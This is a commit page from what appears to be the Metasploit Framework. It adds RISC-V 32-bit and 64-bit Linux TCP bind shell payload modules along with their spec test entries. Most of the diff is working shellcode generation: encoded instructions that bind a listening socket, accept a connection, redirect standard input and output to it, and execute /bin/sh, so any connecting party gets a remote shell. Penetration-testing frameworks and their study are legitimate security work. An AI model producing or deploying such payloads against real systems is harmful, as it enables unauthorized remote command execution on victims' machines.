Skip to content

Commit 9cf50f4

Browse files
committed
Add Linux RISC-V 32-bit/64-bit TCP bind shell payloads
1 parent 205221f commit 9cf50f4

File tree

3 files changed

+353
-0
lines changed

3 files changed

+353
-0
lines changed
Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 180
8+
9+
include Msf::Payload::Single
10+
include Msf::Payload::Linux
11+
include Msf::Sessions::CommandShellOptions
12+
13+
SYS_SOCKET = 198
14+
SYS_BIND = 200
15+
SYS_LISTEN = 201
16+
SYS_ACCEPT = 202
17+
SYS_DUP3 = 24
18+
SYS_EXECVE = 221
19+
AF_INET = 2
20+
SOCK_STREAM = 1
21+
IPPROTO_IP = 0
22+
23+
def initialize(info = {})
24+
super(
25+
merge_info(
26+
info,
27+
'Name' => 'Linux Command Shell, Bind TCP Inline',
28+
'Description' => 'Listen for a connection and spawn a command shell',
29+
'Author' => [
30+
'modexp', # bind.s RISC-V 64-bit shellcode
31+
'bcoles', # RISC-V 32-bit shellcode port and metasploit
32+
],
33+
'License' => BSD_LICENSE,
34+
'Platform' => 'linux',
35+
'Arch' => [ ARCH_RISCV32LE ],
36+
'References' => [
37+
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
38+
['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv32/bindshell/bind.s'],
39+
['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],
40+
],
41+
'Handler' => Msf::Handler::BindTcp,
42+
'Session' => Msf::Sessions::CommandShellUnix
43+
)
44+
)
45+
end
46+
47+
# Encode a RISC-V LUI (Load Upper Immediate) instruction
48+
def encode_lui(rd, imm20)
49+
0b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)
50+
end
51+
52+
# Encode a RISC-V ADDI (Add Immediate) instruction
53+
def encode_addi(rd, rs1, imm12)
54+
0b0010011 | ((imm12 & 0xfff) << 20) | (rs1 << 15) | (0b000 << 12) | (rd << 7)
55+
end
56+
57+
# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.
58+
def load_const_into_reg32(const, rd)
59+
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
60+
61+
max_const = 0xFFFF_FFFF
62+
63+
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
64+
65+
if const >= -2048 && const <= 2047
66+
return [encode_addi(rd, 0, const)]
67+
end
68+
69+
upper = (const + 0x800) >> 12
70+
low = const & 0xfff
71+
[
72+
encode_lui(rd, upper),
73+
encode_addi(rd, rd, low)
74+
]
75+
end
76+
77+
def generate(_opts = {})
78+
return super unless datastore['LPORT']
79+
80+
lport = datastore['LPORT'].to_i
81+
sockaddr_word = AF_INET | ([lport].pack('n').unpack1('v') << 16)
82+
83+
shellcode = [
84+
# prepare stack
85+
0xff010113, # addi sp,sp,-16
86+
87+
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
88+
*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket
89+
*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP
90+
*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM
91+
*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET
92+
0x00000073, # ecall
93+
94+
# bind(s, &sa, sizeof(sa));
95+
0x00050693, # mv a3,a0 # a3 = s
96+
*load_const_into_reg32(SYS_BIND, 17), # li a7,200 # SYS_bind
97+
*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)
98+
*load_const_into_reg32(sockaddr_word, 11), # li a1,<packed> # sin_family=AF_INET, sin_port=port, sin_addr=INADDR_ANY
99+
0x00b12023, # sw a1,0(sp) # store first 8 bytes (family+port+addr) at stack
100+
0x00012223, # sw 0,4(sp) # sin_addr
101+
0x00012423, # sw 0,8(sp) # sin_zero
102+
0x00012623, # sw 0,12(sp) # sin_zero
103+
0x00010593, # mv a1,sp # a1 = &sa
104+
0x00068513, # mv a0,a3 # a0 = s
105+
0x00000073, # ecall
106+
107+
# listen(s, 1);
108+
*load_const_into_reg32(SYS_LISTEN, 17), # li a7,201 # SYS_listen
109+
0x00100593, # li a1,1 # backlog = 1
110+
0x00068513, # mv a0,a3 # a0 = s
111+
0x00000073, # ecall
112+
113+
# r = accept(s, 0, 0);
114+
*load_const_into_reg32(SYS_ACCEPT, 17), # li a7,202 # SYS_accept
115+
0x00000613, # li a2,0 # addrlen = NULL
116+
0x00000593, # li a1,0 # addr = NULL
117+
0x00068513, # mv a0,a3 # a0 = s
118+
0x00000073, # ecall
119+
120+
# dup stdin/stdout/stderr
121+
0x00050713, # mv a4,a0
122+
*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3
123+
*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3
124+
# c_dup:
125+
0x00070513, # mv a0,a4
126+
0xfff58593, # addi a1,a1,-1
127+
0x00000073, # ecall
128+
0xfe059ae3, # bnez a1,100ec <c_dup>
129+
130+
# execve("/bin/sh", NULL, NULL);
131+
*load_const_into_reg32(SYS_EXECVE, 17), # li a7,221
132+
*load_const_into_reg32(0x6e69622f, 5), # "/bin"
133+
0x00512023, # sw t0,0(sp)
134+
*load_const_into_reg32(0x0068732f, 5), # "/sh\0"
135+
0x00512223, # sw t0,4(sp)
136+
0x00010513, # mv a0,sp # path = /bin/sh
137+
0x00000593, # li a1,0 # argv = NULL
138+
0x00000613, # li a2,0 # envp = NULL
139+
0x00000073 # ecall
140+
].pack('V*')
141+
142+
# align our shellcode to 4 bytes
143+
shellcode += "\x00" while shellcode.bytesize % 4 != 0
144+
145+
super.to_s + shellcode
146+
end
147+
end
Lines changed: 186 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,186 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 164
8+
9+
include Msf::Payload::Single
10+
include Msf::Payload::Linux
11+
include Msf::Sessions::CommandShellOptions
12+
13+
SYS_SOCKET = 198
14+
SYS_BIND = 200
15+
SYS_LISTEN = 201
16+
SYS_ACCEPT = 202
17+
SYS_DUP3 = 24
18+
SYS_EXECVE = 221
19+
AF_INET = 2
20+
SOCK_STREAM = 1
21+
IPPROTO_IP = 0
22+
23+
def initialize(info = {})
24+
super(
25+
merge_info(
26+
info,
27+
'Name' => 'Linux Command Shell, Bind TCP Inline',
28+
'Description' => 'Listen for a connection and spawn a command shell',
29+
'Author' => [
30+
'modexp', # bind.s execve RISC-V 64-bit shellcode
31+
'bcoles', # metasploit
32+
],
33+
'License' => BSD_LICENSE,
34+
'Platform' => 'linux',
35+
'Arch' => [ ARCH_RISCV64LE ],
36+
'References' => [
37+
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
38+
['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],
39+
],
40+
'Handler' => Msf::Handler::BindTcp,
41+
'Session' => Msf::Sessions::CommandShellUnix
42+
)
43+
)
44+
end
45+
46+
# Encode a RISC-V ADDI (Add Immediate) instruction
47+
def encode_addi(rd, rs1, imm12)
48+
opcode = 0b0010011
49+
funct3 = 0b000
50+
imm = imm12 & 0xfff
51+
(imm << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
52+
end
53+
54+
# Encode a RISC-V LUI (Load Upper Immediate) instruction
55+
def encode_lui(rd, imm20)
56+
0b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)
57+
end
58+
59+
# Encode a RISC-V SLLI (Shift Left Logical Immediate) instruction
60+
def encode_slli(rd, rs1, shamt)
61+
opcode = 0b0010011
62+
funct3 = 0b001
63+
funct6 = 0b000000
64+
((funct6 & 0x3f) << 26) | ((shamt & 0x3f) << 20) |
65+
(rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
66+
end
67+
68+
# Encode a RISC-V OR instruction (rd = rs1 OR rs2).
69+
def encode_or(rd, rs1, rs2)
70+
opcode = 0b0110011
71+
funct3 = 0b110
72+
funct7 = 0b0000000
73+
(funct7 << 25) | (rs2 << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
74+
end
75+
76+
# Emit RISC-V instruction words that build an arbitrary 64-bit constant in a chosen register using SLLI+LUI+ADDI
77+
# Note: modifies x6 register
78+
def load_const_into_reg64(const, rd)
79+
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
80+
81+
max_const = (1 << 64) - 1
82+
83+
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
84+
85+
# Split into 32‑bit halves
86+
hi = const >> 32
87+
lo = const & 0xFFFF_FFFF
88+
89+
# Load high half
90+
[
91+
*load_const_into_reg32(hi, rd),
92+
*encode_slli(rd, rd, 32),
93+
*load_const_into_reg32(lo, 6),
94+
*encode_or(rd, rd, 6),
95+
]
96+
end
97+
98+
# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.
99+
def load_const_into_reg32(const, rd)
100+
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
101+
102+
max_const = 0xFFFF_FFFF
103+
104+
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
105+
106+
if const >= -2048 && const <= 2047
107+
return [encode_addi(rd, 0, const)]
108+
end
109+
110+
upper = (const + 0x800) >> 12
111+
low = const & 0xfff
112+
[
113+
encode_lui(rd, upper),
114+
encode_addi(rd, rd, low)
115+
]
116+
end
117+
118+
def generate(_opts = {})
119+
return super unless datastore['LPORT']
120+
121+
lport = datastore['LPORT'].to_i
122+
sockaddr_word = AF_INET | ([lport].pack('n').unpack1('v') << 16)
123+
124+
shellcode = [
125+
# prepare stack
126+
0xff010113, # addi sp,sp,-16
127+
128+
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
129+
*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket
130+
*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP
131+
*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM
132+
*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET
133+
0x00000073, # ecall
134+
135+
# bind(s, &sa, sizeof(sa));
136+
0x00050693, # mv a3,a0 # a3 = s
137+
*load_const_into_reg32(SYS_BIND, 17), # li a7,200 # SYS_bind
138+
*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)
139+
*load_const_into_reg32(sockaddr_word, 11), # li a1,<packed> # sin_family=AF_INET, sin_port=port, sin_addr=INADDR_ANY
140+
0x00b13023, # sd a1,0(sp) # store first 8 bytes (family+port+addr) at stack
141+
0x00013423, # sd 0,8(sp) # sin_zero
142+
0x00010593, # mv a1,sp # a1 = &sa
143+
0x00000073, # ecall
144+
145+
# listen(s, 1);
146+
*load_const_into_reg32(SYS_LISTEN, 17), # li a7,201 # SYS_listen
147+
0x00100593, # li a1,1 # backlog = 1
148+
0x00068513, # mv a0,a3 # a0 = s
149+
0x00000073, # ecall
150+
151+
# r = accept(s, 0, 0);
152+
*load_const_into_reg32(SYS_ACCEPT, 17), # li a7,202 # SYS_accept
153+
0x00000613, # li a2,0 # addrlen = NULL
154+
0x00000593, # li a1,0 # addr = NULL
155+
0x00068513, # mv a0,a3 # a0 = s
156+
0x00000073, # ecall
157+
158+
# dup stdin/stdout/stderr
159+
0x00050713, # mv a4,a0
160+
*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3
161+
*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3
162+
# c_dup:
163+
0x00070513, # mv a0,a4
164+
0xfff58593, # addi a1,a1,-1
165+
0x00000073, # ecall
166+
0xfe059ae3, # bnez a1,100ec <c_dup>
167+
168+
# execve("/bin/sh", NULL, NULL);
169+
*load_const_into_reg32(SYS_EXECVE, 17), # SYS_execve
170+
0x34399537, # lui a0,0x34399
171+
0x7b75051b, # addiw a0,a0,1975
172+
0x00c51513, # slli a0,a0,0xc
173+
0x34b50513, # addi a0,a0,843
174+
0x00d51513, # slli a0,a0,0xd
175+
0x22f50513, # addi a0,a0,559
176+
0x00a13023, # sd a0,0(sp)
177+
0x00010513, # mv a0,sp
178+
0x00000073 # ecall
179+
].pack('V*')
180+
181+
# align our shellcode to 4 bytes
182+
shellcode += "\x00" while shellcode.bytesize % 4 != 0
183+
184+
super.to_s + shellcode
185+
end
186+
end

spec/modules/payloads_spec.rb

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2085,6 +2085,16 @@
20852085
reference_name: 'linux/riscv32le/reboot'
20862086
end
20872087

2088+
context 'linux/riscv32le/shell_bind_tcp' do
2089+
it_should_behave_like 'payload cached size is consistent',
2090+
ancestor_reference_names: [
2091+
'singles/linux/riscv32le/shell_bind_tcp'
2092+
],
2093+
dynamic_size: false,
2094+
modules_pathname: modules_pathname,
2095+
reference_name: 'linux/riscv32le/shell_bind_tcp'
2096+
end
2097+
20882098
context 'linux/riscv64le/chmod' do
20892099
it_should_behave_like 'payload cached size is consistent',
20902100
ancestor_reference_names: [
@@ -2115,6 +2125,16 @@
21152125
reference_name: 'linux/riscv64le/reboot'
21162126
end
21172127

2128+
context 'linux/riscv64le/shell_bind_tcp' do
2129+
it_should_behave_like 'payload cached size is consistent',
2130+
ancestor_reference_names: [
2131+
'singles/linux/riscv64le/shell_bind_tcp'
2132+
],
2133+
dynamic_size: false,
2134+
modules_pathname: modules_pathname,
2135+
reference_name: 'linux/riscv64le/shell_bind_tcp'
2136+
end
2137+
21182138
context 'linux/x64/exec' do
21192139
it_should_behave_like 'payload cached size is consistent',
21202140
ancestor_reference_names: [

0 commit comments

Comments
 (0)